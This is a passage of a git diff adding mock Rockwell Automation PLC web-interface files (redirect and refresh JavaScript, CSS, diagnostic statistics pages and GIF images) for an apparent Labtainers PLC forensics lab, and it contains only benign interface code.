b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagnetwork_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover.html new file mode 100644 index 000000000..672854edc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover.html new file mode 100644 index 000000000..ba7dd6609 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover.html @@ -0,0 +1,178 @@ + + +Rockwell Automation + + + + + + + +
+ + + + + + + + + + + + +
Diagnostic OverviewNetwork SettingsMessage ConnectionsEthernet Statistics
+ + + + + + + +

+ + + + + + +
+ + + + + + + + + + + + +
Ethernet Link
Speed100 Mbps
DuplexHalf Duplex
Autonegotiate StatusAutonegotiate Speed and + Duplex

+ + + + + + + + + +
System Resource +Utilization
CPU0.10 %
File System8.44%

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Web Server
Available User Space5490688 bytes
Data Views Configured0
Total Controller Tags0
Server Errors31
Redirects2
Timeouts0
Access Violations0
Page Hits181
Form Hits0
Total Hits212
+ + + + + + + + + + + + +
TCP Connections (CIP)
Current TCP Connections0
TCP Connection Limit64
Maximum Observed0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
CIP Connection Statistics
Current CIP Connections0
CIP Connection Limit128
Max Connections Observed0
Conn Opens0
Open Errors0
Conn Closes0
Close Errors0
Conn Timeouts0

+ + + + + + + + + + + + + + + +
CIP Messaging Statistics
Messages Sent0
Messages Received0
UCMM Sent11
UCMM Received11
+

+

Seconds Between + Refresh:   Disable Refresh with 0. +


diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/refresh.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/refresh.js new file mode 100644 index 000000000..7c96eeffe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/diagover_files/refresh.js @@ -0,0 +1,19 @@ +function jsRefresh() +{ + parent.refreshTime = document.getElementById("refresh").value; + if (parent.refreshTime != 0) + document.location.reload(); +} + +function refreshInit() +{ + if (eval("typeof(parent.refreshTime)") == 'undefined') + parent.refreshTime = document.getElementById('refresh').value; + else + document.getElementById('refresh').value = parent.refreshTime; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') + parent.window.clearTimeout(parent.timeoutPntr); + + parent.timeoutPntr = parent.window.setTimeout("frames.home.jsRefresh();", (parent.refreshTime * 1000)); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/diagover_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits.html new file mode 100644 index 000000000..f6106fc4b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/editlimits.html @@ -0,0 +1,17 @@ + + +Rockwell Automation + + + + diff --git 